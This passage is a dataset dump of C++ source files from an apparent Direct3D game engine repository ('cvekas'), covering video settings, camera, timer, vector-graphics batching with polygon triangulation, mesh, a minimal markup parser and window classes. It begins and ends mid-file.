D3DMULTISAMPLE_6_SAMPLES;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_8_SAMPLES\")\r\n\t\treturn D3DMULTISAMPLE_8_SAMPLES;\r\n\r\n\tif(str_antialiasing == \"D3DMULTISAMPLE_16_SAMPLES\")\r\n\t\treturn D3DMULTISAMPLE_16_SAMPLES;\r\n\r\n\tthrow EXCEPTION(\"Bad setting Antialiasing value: \" + str_antialiasing);\r\n}\r\n\r\nDWORD VideoSettings::getVertexProcessing()\r\n{\r\n\tSettingValue& vertex_processing = (*this)[\"VertexProcessing\"];\r\n\tstd::string str_vertex_processing = vertex_processing;\r\n\r\n\tif(str_vertex_processing == \"Hardware\")\r\n\t\treturn D3DCREATE_HARDWARE_VERTEXPROCESSING;\r\n\r\n\tif(str_vertex_processing == \"Software\")\r\n\t\treturn D3DCREATE_SOFTWARE_VERTEXPROCESSING;\r\n\r\n\tthrow EXCEPTION(\"Bad setting VertexProcessing value: \" + str_vertex_processing);\r\n\r\n}\r\n\r\nDWORD VideoSettings::getPresentInterval()\r\n{\r\n\tif(static_cast<bool>((*this)[\"VSync\"]) == true)\r\n\t\treturn D3DPRESENT_INTERVAL_ONE;\r\n\treturn D3DPRESENT_INTERVAL_IMMEDIATE;\r\n}\r\n\r\n} // namespace\r\n\t\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.6808300614356995, "alphanum_fraction": 0.698616623878479, "avg_line_length": 19.5744686126709, "blob_id": "56bea382ad862b4a6c2a89c977cc45e24affab7d", "content_id": "26e82dd9990da7a16296940c3ea8f2b4af228fb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 80, "num_lines": 47, "path": "/source/Camera.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef CAMERA_H\r\n#define CAMERA_H\r\n\r\n#include \"Vector3.h\"\r\n#include \"Matrix.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Abstaract camera\r\nclass Camera : public boost::noncopyable\r\n{\r\npublic:\r\n\tvirtual ~Camera() {};\r\n\r\n\tvirtual Matrix getViewMatrix() const = 0;\r\n\tvirtual Vector3 getPosition() const = 0;\r\n\tvirtual Vector3 getDirection() const = 0;\r\n\tvirtual Vector3 getUp() const = 0;\r\n};\r\n\r\n/// Simple camera where position, direction and up vectors must be set directly.\r\nclass SimpleCamera : public Camera\r\n{\r\npublic:\r\n\tSimpleCamera(const Vector3& pos, const Vector3& dir, const Vector3& up);\r\n\tvirtual ~SimpleCamera() {};\r\n\r\n\tvirtual Matrix getViewMatrix() const;\r\n\t\r\n\tvirtual Vector3 getPosition() const;\r\n\tvirtual Vector3 getDirection() const;\r\n\tvirtual Vector3 getUp() const;\r\n\r\n\tvoid setPosition(const Vector3& pos);\r\n\tvoid setDirection(const Vector3& dir);\r\n\tvoid setUp(const Vector3& up);\r\n\r\nprivate:\r\n\tVector3 pos, dir, up;\r\n\t\r\n\tmutable Matrix view;\r\n\tmutable bool rebuild_matrix;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6378316283226013, "alphanum_fraction": 0.6585928201675415, "avg_line_length": 16.84782600402832, "blob_id": "754be5076b9009063cd4c7337841894bb1aa83f8", "content_id": "3d09d5443ad390bc241d0e943e4147652576cda2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1734, "license_type": "no_license", "max_line_length": 60, "num_lines": 92, "path": "/source/Timer.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Timer.h\"\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nint64 Timer::perf_frequency;\r\nint64 Timer::start_time;\r\nint64 Timer::current_time;\r\n\r\nint Timer::old_time_ms;\r\nint Timer::current_time_ms;\r\nint Timer::d_time_ms;\r\nfloat Timer::time_scale;\r\n\r\nint Timer::last_fps_update;\r\nint Timer::frames_drawn;\r\nint Timer::fps;\r\n\r\nint64 TimeStamp::frequency;\r\n\r\nvoid Timer::reset()\r\n{\r\n\tcurrent_time_ms = 0;\r\n\r\n\tQueryPerformanceFrequency((LARGE_INTEGER*)&perf_frequency);\r\n\tif(perf_frequency == 0)\r\n\t\tthrow EXCEPTION(\"Unable to reset Timer\");\r\n\tTimeStamp::frequency = perf_frequency;\r\n\r\n\tQueryPerformanceCounter((LARGE_INTEGER*)&start_time);\r\n\tupdate();\r\n}\r\n\r\nvoid Timer::update()\r\n{\r\n\told_time_ms = current_time_ms;\r\n\tQueryPerformanceCounter((LARGE_INTEGER*)&current_time);\r\n\tcurrent_time_ms = perfCounterToMs(current_time);\r\n\td_time_ms = current_time_ms - old_time_ms;\r\n\ttime_scale = (float)d_time_ms / 1000.0f;\r\n\tif (last_fps_update + 1000 <= current_time_ms)\r\n\t{\r\n\t\tfps = frames_drawn;\r\n\t\tframes_drawn = 0;\r\n\t\tlast_fps_update = current_time_ms;\r\n\t}\r\n\tframes_drawn++;\r\n}\r\n\r\nint Timer::getFPS()\r\n{\r\n\treturn fps;\r\n}\r\n\r\nfloat Timer::getTimeScale()\r\n{\r\n\treturn time_scale;\r\n}\r\n\r\nint Timer::getDTimeMs()\r\n{\r\n\treturn d_time_ms;\r\n}\r\n\r\nint Timer::getTimeMs()\r\n{\r\n\treturn current_time_ms;\r\n}\r\n\r\nTimeStamp Timer::getTimeStamp()\r\n{\r\n\tTimeStamp result;\r\n\tQueryPerformanceCounter((LARGE_INTEGER*)&result.value);\r\n\treturn result;\r\n}\r\n\r\nstd::string Timer::msToString(int time)\r\n{\r\n\tint s = time / 1000;\r\n\tint min = s / 60;\r\n\tint sec = s % 60;\r\n\treturn FORMAT(\"%02d:%02d\", % min % sec);\r\n}\r\n\r\nint Timer::perfCounterToMs(long long time)\r\n{\r\n\treturn (int)((time - start_time) * 1000 / perf_frequency);\r\n}\r\n\r\n} // namespace\r\n" }, { "alpha_fraction": 0.6095882058143616, "alphanum_fraction": 0.6395043134689331, "avg_line_length": 25.555171966552734, "blob_id": "253811fcfede8c2ec3a7cbf88af2bea85be1355f", "content_id": "62ee8e111ff669e282748db8275906bf321c4573", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7989, "license_type": "no_license", "max_line_length": 119, "num_lines": 290, "path": "/source/VectorBatch.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"VectorBatch.h\"\r\n\r\n#include \"ErrorHandlers.h\"\r\n#include \"Exception.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Engine.h\"\r\n\r\n#define VERTEX_BUFFER_NAME \"VectorBatchVB\"\r\n#define DEFAULT_EFFECT_NAME \"VectorBatch\"\r\n#define DEFAULT_EFFECT_FILE \"VectorBatch.fx\"\r\n\r\nnamespace Cvekas {\r\n\r\nint VectorBatch::vertex_buffer_name_counter = 0;\r\n\r\nTriangle::Triangle() \r\n{\r\n}\r\n\r\nTriangle::Triangle(const Triangle& t)\r\n: p1(t.p1), p2(t.p2), p3(t.p3), color(t.color), layer(t.layer)\r\n{\r\n}\r\n\r\nbool Triangle::operator<(const Triangle& t)\r\n{\r\n\treturn layer < t.layer;\r\n}\r\n\r\nVectorBatch::VectorBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 base_priority)\r\n: renderer(renderer), virtual_width(virtual_width), virtual_height(virtual_height), \r\n base_priority(base_priority), triangle_count(0), span_count(0), presented(false)\r\n{\r\n\tEngine e;\r\n\r\n\tEffectManagerPtr effect_manager = e.getVideoDevice()->getEffectManager();\r\n\tGpuBufferManagerPtr buffer_manager = e.getVideoDevice()->getGpuBufferManager();\r\n\r\n\t// Find or create default effect\r\n\tif(effect_manager->exists(DEFAULT_EFFECT_NAME))\r\n\t\teffect = effect_manager->get(DEFAULT_EFFECT_NAME);\r\n\telse\r\n\t\teffect = effect_manager->load(DEFAULT_EFFECT_NAME, Filesystem::redirect(DEFAULT_EFFECT_FILE));\r\n\t\r\n\t// Create vertex buffer\r\n\tstd::string vb_name = FORMAT(VERTEX_BUFFER_NAME \"%d\", % vertex_buffer_name_counter);\r\n\tvertex_buffer_name_counter++;\r\n\r\n\tvertex_buffer = buffer_manager->createVertexBuffer(vb_name, VertexPosColor::getFormat(), max_triangles * 3, true);\r\n}\r\n\r\nVectorBatch::~VectorBatch()\r\n{\r\n}\r\n\r\nvoid VectorBatch::present()\r\n{\r\n\tif(presented)\r\n\t\tthrow EXCEPTION(\"Already presented this frame!\");\r\n\r\n\tbuild_batches();\r\n\tpresented = true;\r\n\trenderer->prepare(*this);\r\n}\r\n\r\nvoid VectorBatch::setEffect(EffectPtr effect)\r\n{\r\n\tthis->effect = effect;\r\n}\r\n\r\nvoid VectorBatch::drawLine(uint layer, const Vector2& start, const Vector2& end, float width, const Color& color)\r\n{\r\n\tVector2 normal(end.y - start.y, start.x - end.x);\r\n\tnormal.normalize();\r\n\tnormal *= width / 2.0f;\r\n\r\n\tVector2 p1 = start + normal;\r\n\tVector2 p2 = start - normal;\r\n\tVector2 p3 = end + normal;\r\n\tVector2 p4 = end - normal;\r\n\r\n\tdrawTriangle(layer, p2, p1, p3, color);\r\n\tdrawTriangle(layer, p3, p4, p2, color);\r\n}\r\n\r\n// TODO: Fix line connection points\r\nvoid VectorBatch::drawLineStrip(uint layer, const std::vector<Vector2>& points, float width, const Color& color)\r\n{\r\n\tif(points.size() < 2)\r\n\t\tthrow EXCEPTION(\"Line strip must have atleast 2 points\");\r\n\r\n\tfor(uint i = 1; i < points.size(); ++i)\r\n\t\tdrawLine(layer, points[i-1], points[i], width, color);\r\n}\r\n\r\nvoid VectorBatch::drawTriangle(uint layer, const Vector2& p1, const Vector2& p2, const Vector2& p3, const Color& color)\r\n{\r\n\tif(triangle_count >= max_triangles - 1)\r\n\t\tthrow EXCEPTION(\"Too many triangles!\");\r\n\r\n\tfloat w = (float)virtual_width;\r\n\tfloat h = (float)virtual_height;\r\n\ttriangles[triangle_count].p1 = Vector2((p1.x / w) * 2.0f - 1.0f, (p1.y / h) * -2.0f + 1.0f);\r\n\ttriangles[triangle_count].p2 = Vector2((p2.x / w) * 2.0f - 1.0f, (p2.y / h) * -2.0f + 1.0f);\r\n\ttriangles[triangle_count].p3 = Vector2((p3.x / w) * 2.0f - 1.0f, (p3.y / h) * -2.0f + 1.0f);\r\n\ttriangles[triangle_count].color = color;\r\n\ttriangles[triangle_count].layer = layer;\r\n\ttriangle_count++;\r\n}\r\n\r\n// Polygon triangulation helper methods:\r\n\r\nbool pointInsideTriangle(const Vector2& p1, const Vector2& p2, const Vector2& p3, const Vector2& p)\r\n{\r\n\tVector2 a = p3 - p2;\r\n\tVector2 b = p1 - p3;\r\n\tVector2 c = p2 - p1;\r\n\tVector2 ap = p - p1;\r\n\tVector2 bp = p - p2;\r\n\tVector2 cp = p - p3;\r\n\r\n\tfloat abp = a.x*bp.y - a.y*bp.x;\r\n\tfloat cap = c.x*ap.y - c.y*ap.x;\r\n\tfloat bcp = b.x*cp.y - b.y*cp.x;\r\n\r\n\treturn (abp >= 0.0f) && (cap >= 0.0f) && (bcp >= 0.0f);\r\n}\r\n\r\nbool canCut(const std::vector<Vector2>& points, uint ip1, uint ip2, uint ip3, uint* vertices, uint v_count)\r\n{\r\n\tVector2 p1 = points[vertices[ip1]];\r\n\tVector2 p2 = points[vertices[ip2]];\r\n\tVector2 p3 = points[vertices[ip3]];\r\n\r\n\tfloat area = (p1.x * (p2.y - p3.y) + p2.x * (p3.y - p1.y) + p3.x * (p1.y - p2.y)) / 2.0f;\r\n\tif(area < epsilon)\r\n\t\treturn false;\r\n\r\n\tfor(uint j = 0; j < v_count; j+=3)\r\n\t{\r\n\t\tuint i = j;\r\n\t\tif(i == ip1 || i == ip2 || i == ip3)\r\n\t\t\tcontinue;\r\n\t\t\r\n\t\tif(pointInsideTriangle(p1, p2, p3, points[vertices[i]]))\r\n\t\t\treturn false;\r\n\t}\r\n\tfor(uint j = 1; j < v_count; j+=3)\r\n\t{\r\n\t\tuint i = j;\r\n\t\tif(i == ip1 || i == ip2 || i == ip3)\r\n\t\t\tcontinue;\r\n\t\t\r\n\t\tif(pointInsideTriangle(p1, p2, p3, points[vertices[i]]))\r\n\t\t\treturn false;\r\n\t}\r\n\tfor(uint j = 2; j < v_count; j+=3)\r\n\t{\r\n\t\tuint i = j;\r\n\t\tif(i == ip1 || i == ip2 || i == ip3)\r\n\t\t\tcontinue;\r\n\t\t\r\n\t\tif(pointInsideTriangle(p1, p2, p3, points[vertices[i]]))\r\n\t\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nvoid VectorBatch::drawPolygon(uint layer, const std::vector<Vector2>& points, const Color& color)\r\n{\r\n\tif(points.size() < 3)\r\n\t\tthrow EXCEPTION(\"Polygon must have at least 3 points\");\r\n\r\n\tif(points.size() == 3)\r\n\t\tdrawTriangle(layer, points[0], points[1], points[2], color);\r\n\r\n\t// Triangulate polygon (based on http://www.flipcode.com/archives/Efficient_Polygon_Triangulation.shtml):\r\n\r\n\tuint vertex_count = points.size();\r\n\tuint* vertices = new uint[points.size()];\r\n\tfor(uint i = 0; i < points.size(); ++i)\r\n\t\tvertices[i] = i;\r\n\r\n\tuint cuts_to_do = points.size() - 2;\r\n\twhile(cuts_to_do > 0)\r\n\t{\r\n\t\tuint v1 = 0, v2 = 1, v3 = 2;\r\n\t\twhile(!canCut(points, v1, v2, v3, vertices, vertex_count))\r\n\t\t{\r\n\t\t\tv1++; v2++; v3++;\r\n\t\t\tif(v1 >= vertex_count)\r\n\t\t\t\tthrow EXCEPTION(\"Bad polygon\");\r\n\t\t\tif(v2 >= vertex_count) v2 = 0;\r\n\t\t\tif(v3 >= vertex_count) v3 = 0;\r\n\t\t}\r\n\r\n\t\tdrawTriangle(layer, points[vertices[v1]], points[vertices[v2]], points[vertices[v3]], color);\r\n\t\tfor(uint i = v2; i+1 < vertex_count; ++i)\r\n\t\t\tvertices[i] = vertices[i+1];\r\n\t\tvertex_count--;\r\n\t\tcuts_to_do--;\r\n\t}\r\n\r\n\tdelete[] vertices;\r\n}\r\n\r\nvoid VectorBatch::onPreRender(uint16 batch_id)\r\n{\r\n\t// Does nothing, shouldn't be called at all\r\n\tassert(0);\r\n}\r\n\r\nuint VectorBatch::getBatches(Batch** batches)\r\n{\r\n\tif(!presented)\r\n\t\treturn 0;\r\n\r\n\t*batches = this->batches.data();\r\n\tpresented = false;\r\n\r\n\ttriangle_count = 0;\r\n\r\n\treturn span_count;\r\n}\r\n\r\nvoid VectorBatch::build_batches()\r\n{\r\n\tstd::sort(triangles.begin(), triangles.begin() + triangle_count);\r\n\r\n\t// Build spans\r\n\tspan_count = 0;\r\n\tuint i = 0;\r\n\twhile(i < triangle_count)\r\n\t{\r\n\t\tuint span_length = 1;\r\n\t\twhile(i + span_length < triangle_count && triangles[i].layer == triangles[i + span_length].layer)\r\n\t\t{\r\n\t\t\tspan_length++;\r\n\t\t}\r\n\r\n\t\tspans[span_count].first = i;\r\n\t\tspans[span_count].count = span_length;\r\n\t\tspan_count++;\r\n\t\ti += span_length;\r\n\t}\r\n\r\n\tif(span_count >= max_spans)\r\n\t\tthrow EXCEPTION(\"Span buffer overflow!\");\r\n\r\n\t// Fill vertex buffer\r\n\tLockedBuffer locked_vb = vertex_buffer->lock(false);\r\n\tassert(locked_vb.size == max_triangles * 3 * VertexPosColor::getSize());\r\n\tVertexPosColor* vertices = reinterpret_cast<VertexPosColor*>(locked_vb.data);\r\n\r\n\tfor(uint i = 0; i < triangle_count; ++i)\r\n\t{\r\n\t\tVector3 p1 = Vector3(triangles[i].p1.x, triangles[i].p1.y, 1.0f);\r\n\t\tVector3 p2 = Vector3(triangles[i].p2.x, triangles[i].p2.y, 1.0f);\r\n\t\tVector3 p3 = Vector3(triangles[i].p3.x, triangles[i].p3.y, 1.0f);\r\n\r\n\t\tD3DCOLOR color = (D3DCOLOR)triangles[i].color;\r\n\t\tvertices[3*i] = VertexPosColor(p1, color);\r\n\t\tvertices[3*i+1] = VertexPosColor(p2, color);\r\n\t\tvertices[3*i+2] = VertexPosColor(p3, color);\r\n\t}\r\n\r\n\tvertex_buffer->unlock();\r\n\r\n\t// Build batches\r\n\tfor(uint i = 0; i < span_count; ++i)\r\n\t{\r\n\t\tBatch new_batch;\r\n\t\tassert(base_priority + triangles[spans[i].first].layer < MAX_UINT16);\r\n\r\n\t\tnew_batch.priority = (uint16)(base_priority + triangles[spans[i].first].layer);\r\n\t\tnew_batch.batch_id = 0;\r\n\t\tnew_batch.vb_id = vertex_buffer->getId();\r\n\t\tnew_batch.ib_id = VertexBuffer::INVALID_ID;\r\n\t\tnew_batch.effect_id = effect->getId();\r\n\t\tnew_batch.pass = 0;\r\n\t\tnew_batch.start_index = (spans[i].first) * 3; \r\n\t\tnew_batch.tri_count = spans[i].count;\r\n\t\tnew_batch.owner = NULL;\r\n\r\n\t\tbatches[i] = new_batch;\r\n\t}\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.7066800594329834, "alphanum_fraction": 0.7142139673233032, "avg_line_length": 23.55128288269043, "blob_id": "c4da29b1f6cf58fdb4ee48cb89d39ccc3da7bf38", "content_id": "eca1fd929bbab6c5f0dd517722c003cad959a67e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1991, "license_type": "no_license", "max_line_length": 102, "num_lines": 78, "path": "/source/Mesh.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MESH_H\r\n#define MESH_H\r\n\r\n#include \"Engine.h\"\r\n#include \"Renderer.h\"\r\n#include \"Vector3.h\"\r\n#include \"Matrix.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Contains geometry information for 3d object\r\nclass Mesh : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor. Loads mesh from .cmf file\r\n\tMesh(const std::string& path);\r\n\r\n\t/// Constructor. Makes mesh from provided buffers. Index buffer can be null\r\n\tMesh(VertexBufferPtr vb, IndexBufferPtr ib);\r\n\r\n\t/// Destructor\r\n\tvirtual ~Mesh() {};\r\n\r\n\tIndexBufferPtr getIndexBuffer() { return index_buffer; };\r\n\tVertexBufferPtr getVertexBuffer() { return vertex_buffer; };\r\n\r\nprotected:\r\n\tIndexBufferPtr index_buffer;\r\n\tVertexBufferPtr vertex_buffer;\r\n\r\nprivate:\r\n\tvoid cmf1_load(std::ifstream& input, const std::string& name, uint vertex_offset, uint index_offset);\r\n};\r\n\r\ntypedef boost::shared_ptr<Mesh> MeshPtr;\r\n\r\n/// Allows to easily send Mesh to Renderer\r\nclass RenderableMesh : public Renderable, public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor. effect_params can be null, in that case only auto params will be applied.\r\n\tRenderableMesh(MeshPtr mesh, EffectPtr effect, EffectParamsPtr effect_params, \r\n\t\tuint priority, uint passes = 1);\r\n\r\n\t/// Destructor\r\n\tvirtual ~RenderableMesh();\r\n\r\n\tvirtual void onPreRender(uint16 batch_id);\r\n\tvirtual uint getBatches(Batch** batches);\r\n\r\n\tVector3 getPosition() { return position; };\r\n\tVector3 getRotation() { return rotation; };\r\n\tVector3 getScale() { return scale; };\r\n\r\n\tvoid setPosition(const Vector3& position) { this->position = position; };\r\n\tvoid setRotation(const Vector3& rotation) { this->rotation = rotation; };\r\n\tvoid setScale(const Vector3& scale) { this->scale = scale; };\r\n\r\nprotected:\r\n\tuint passes;\r\n\tuint priority;\r\n\tBatch* batches;\r\n\r\n\tMeshPtr mesh;\r\n\tEffectPtr effect;\r\n\tEffectParamsPtr effect_params;\r\n\r\n\tVector3 position;\r\n\tVector3 rotation;\r\n\tVector3 scale;\r\n\tMatrix world;\r\n};\r\n\r\ntypedef boost::shared_ptr<RenderableMesh> RenderableMeshPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6856048703193665, "alphanum_fraction": 0.7124162316322327, "avg_line_length": 27.575471878051758, "blob_id": "34292ec8962dde0c98a03356ec0d817bd2c6bf02", "content_id": "15ba13551fb7d95f0a43540a3e42499bbba67171", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3133, "license_type": "no_license", "max_line_length": 114, "num_lines": 106, "path": "/source/VectorBatch.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VECTOR_BATCH_H\r\n#define VECTOR_BATCH_H\r\n\r\n#include \"Vector2.h\"\r\n#include \"Colors.h\"\r\n#include \"Renderer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Represents triangle, atomic component of any vector graphics shape.\r\n/// For internal use.\r\nstruct Triangle\r\n{\r\n\t/// Constructor\r\n\tTriangle();\r\n\r\n\t/// Copy constructor\r\n\tTriangle(const Triangle& t);\r\n\r\n\t/// Sort operator\r\n\tbool operator<(const Triangle& t);\r\n\r\n\tVector2 p1, p2, p3;\r\n\tColor color;\r\n\tint layer;\r\n};\r\n\r\n/// Interval of triangles with same texture and layer. For internal use.\r\nstruct TriangleSpan\r\n{\r\n\tuint first, count;\r\n};\r\n\r\n/// Allows to easily draw line segments and flat polygons.\r\nclass VectorBatch: public Renderable, public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param renderer Renderer to which this %VectorBatch instance will send batches\r\n\t/// \\param virtual_width Virtual resolution width\r\n\t/// \\param virtual_height Virtual resolution height\r\n\t/// \\param base_priority Base priority value of generated batches.\r\n\t/// Individual priority for each batch is calculated like this: base_priority + layer\r\n\tVectorBatch(RendererPtr renderer, uint virtual_width, uint virtual_height, uint16 base_priority = 1000);\r\n\r\n\t/// Destructor\r\n\t~VectorBatch();\r\n\r\n\t/// Prepares batches and registers for rendering. Must be called after all drawing in current frame is done.\r\n\tvoid present();\r\n\r\n\t/// Sets new effect. Default effect is provided, so it is not required to set it.\r\n\t/// Default effect is named %VectorGraphics and is loaded from file default_effect_file\r\n\tvoid setEffect(EffectPtr effect);\r\n\r\n\t/// Draws a line segment\r\n\tvoid drawLine(uint layer, const Vector2& start, const Vector2& end, float width = 1.0f, \r\n\t\tconst Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Draws a strip of lines\r\n\tvoid drawLineStrip(uint layer, const std::vector<Vector2>& points, float width = 1.0f, \r\n\t\tconst Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Draws a triangle\r\n\tvoid drawTriangle(uint layer, const Vector2& p1, const Vector2& p2, const Vector2& p3, \r\n\t\tconst Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Draws a polygon\r\n\t/// \\param points Polygon vertices, ordered clockwise\r\n\tvoid drawPolygon(uint layer, const std::vector<Vector2>& points, const Color& color = Color(255, 255, 255, 255));\r\n\r\n\t/// Sets new virtual resolution\r\n\tvoid setVirtualResolution(uint width, uint height) { virtual_width = width; virtual_height = height; };\r\n\r\n\t// Renderable implementation\r\n\tvirtual void onPreRender(uint16 batch_id);\r\n\tvirtual uint getBatches(Batch** batches);\r\n\r\nprivate:\r\n\tvoid build_batches();\r\n\r\n\tstatic const uint max_triangles = 4096;\r\n\tstatic const uint max_spans = 512;\r\n\r\n\tRendererPtr renderer;\r\n\tEffectPtr effect;\r\n\r\n\tVertexBufferPtr vertex_buffer;\r\n\r\n\tstatic int vertex_buffer_name_counter;\r\n\t\r\n\tboost::array<Triangle, max_triangles> triangles;\r\n\tboost::array<TriangleSpan, max_spans> spans;\r\n\tboost::array<Batch, max_spans> batches;\r\n\r\n\tuint triangle_count, span_count, virtual_width, virtual_height;\r\n\tuint16 base_priority;\r\n\t\r\n\tbool presented;\r\n};\r\n\r\ntypedef boost::shared_ptr<VectorBatch> VectorBatchPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6463414430618286, "alphanum_fraction": 0.6463414430618286, "avg_line_length": 21.932584762573242, "blob_id": "2c3443caea53f57e2c80884f552d99f7c6cd2434", "content_id": "78a944447c83e67ac3b8a1041dc6608e5305d3b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2132, "license_type": "no_license", "max_line_length": 89, "num_lines": 89, "path": "/source/MML.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef MML_H\r\n#define MML_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// Node in MML tree\r\nclass MMLNode\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tMMLNode(const std::string& name, const std::string& value = \"\");\r\n\t/// Copy constructor\r\n\tMMLNode(const MMLNode& node);\r\n\r\n\t/// Returns child first child with provided name. Throws if no such child.\r\n\tMMLNode& getChild(const std::string& name);\r\n\t/// Removes first child with provided name. Throws if no such child.\r\n\tvoid removeChild(const std::string& name);\r\n\t/// Inserts new node after child with provided name. Throws if no such child.\r\n\tvoid insertAfter(const std::string& name, const MMLNode& node);\r\n\t/// Appends new node to the end of children list\r\n\tvoid append(const MMLNode& node);\r\n\r\n\t/// List of childrens of this node\r\n\tstd::list<MMLNode> children;\t\r\n\t\r\n\t/// Node name\r\n\tstd::string name;\r\n\t/// Node value\r\n\tstd::string value;\r\n\r\nprivate:\r\n\tstd::list<MMLNode>::iterator find(const std::string& name);\r\n};\r\n\r\n/// \\brief Minimalistic markup language\r\n///\r\n/// Meta-language for data description, heavily inspired by lisp and (flaws of) XML. \\n\\n\r\n/// Grammar in BNF: \\n\r\n/// <tt>\r\n/// node ::= \"(\" \\<literal\\> \\<literal\\> <nodelist\\> \")\" \\n\r\n/// nodelist ::= \\<nothing\\> | \\<node\\> \\<nodelist\\>\r\n/// </tt>\r\nclass MML\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tMML();\r\n\r\n\t/// Constructor. Parses given string to a MMLNode tree.\r\n\tMML(const std::string& input);\r\n\r\n\t/// Serializes MMLNode tree to a string\r\n\tstd::string serialize();\r\n\r\n\t/// Returns root MMLNode\r\n\tMMLNode& getRoot();\r\n\r\nprivate:\r\n\tclass MMLToken\r\n\t{\r\n\tpublic:\r\n\t\tenum Type\r\n\t\t{\r\n\t\t\tMML_BRACE_OPEN,\r\n\t\t\tMML_BRACE_CLOSE,\r\n\t\t\tMML_LITERAL\r\n\t\t};\r\n\r\n\t\tMMLToken(Type type, const std::string& literal = std::string())\r\n\t\t: type(type), literal(literal) \r\n\t\t{}\r\n\r\n\t\tType type;\r\n\t\tstd::string literal;\r\n\t};\r\n\r\n\tvoid tokenize(const std::string& input, std::vector<MMLToken>& tokens);\r\n\tMMLNode parse(const std::vector<MMLToken>& tokens);\r\n\tMMLNode _parse(const std::vector<MMLToken>& tokens, size_t start, size_t end);\r\n\r\n\tstd::string _serialize(const MMLNode& node, const std::string& prefix = \"\");\r\n\r\n\tMMLNode root;\t\t\r\n};\r\n\r\n} // namespace\r\n\r\n#endif\r\n\r\n" }, { "alpha_fraction": 0.7080491185188293, "alphanum_fraction": 0.7080491185188293, "avg_line_length": 26.584415435791016, "blob_id": "8252301727892abbd5ef630ac18ab64ae35deadf", "content_id": "d4df0bda2eae59e693dda7da7fe4bd543b1d3e99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2199, "license_type": "no_license", "max_line_length": 95, "num_lines": 77, "path": "/source/Window.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef WINDOW_H\r\n#define WINDOW_H\r\n\r\n#include \"Exception.h\"\r\n#include \"VideoSettings.h\"\r\n\r\n#define CLASS_NAME \"Cvekas window\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// %Application window\r\nclass Window : public boost::noncopyable \r\n{\r\npublic:\r\n\t/// Constructor\r\n\t/// \\param instace Optional HINSTANCE value, usualy provided by WinMain\r\n\t/// \\param title %Window title\r\n\t/// \\param width Width of window in pixels (without borders)\r\n\t/// \\param height Height of window in pixels (without borders)\r\n\t/// \\param fullscreen Will the window be fullscreen?\r\n\t/// \\throws Exception On unsucessful initialization of window\r\n\t/// \\remarks Not recommeded, use Window(HINSTANCE, const std::string&, VideoSettings&) instead\r\n\tWindow(HINSTANCE instace, const std::string& title, uint width, uint height, bool fullscreen);\r\n\t\r\n\t/// Constructor. All values are pulled from global VideoSettings.\r\n\t/// \\param instace Optional HINSTANCE value, usualy provided by WinMain\r\n\t/// \\param title %Window title\r\n\tWindow(HINSTANCE instace, const std::string& title);\r\n\t~Window();\r\n\r\n\t/// Changes window's title\r\n\tvoid setTitle(const std::string& title);\r\n\t\r\n\t/// Processes window message qeue, must be called every frame.\r\n\t/// \\returns true if window is not closed\r\n\tbool update();\r\n\t\r\n\t/// Indicates weather window is still active (not closed)\r\n\tbool isActive();\r\n\t\r\n\t/// Returns handle of window\r\n\tHWND getHandle();\r\n\r\n\t/// Shows or hides mouse cursor\r\n\tvoid showCursor(bool show) {show_cursor = show; };\r\n\r\n\t/// Returns true if cursor is visible\r\n\tbool isCursorVisible() { return show_cursor; };\r\n\r\n\t/// Must be before switching between windowed/fullscreen modes or resolutions.\r\n\tvoid switchMode();\r\n\r\nprivate:\r\n\t/// Creates window\r\n\tvoid createWindow(const std::string& title, uint width, uint height, bool fullscreen);\r\n\t/// Window message pump\r\n\tstatic LRESULT WINAPI msgProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);\r\n\r\n\tvoid adjustWindowSize(uint& width, uint& height);\r\n\r\n\tbool active;\r\n\tbool fullscreen;\r\n\tbool show_cursor;\r\n\tuint width, height;\r\n\r\n\tWNDCLASSEX win_class;\r\n\tHWND handle;\r\n\tHINSTANCE 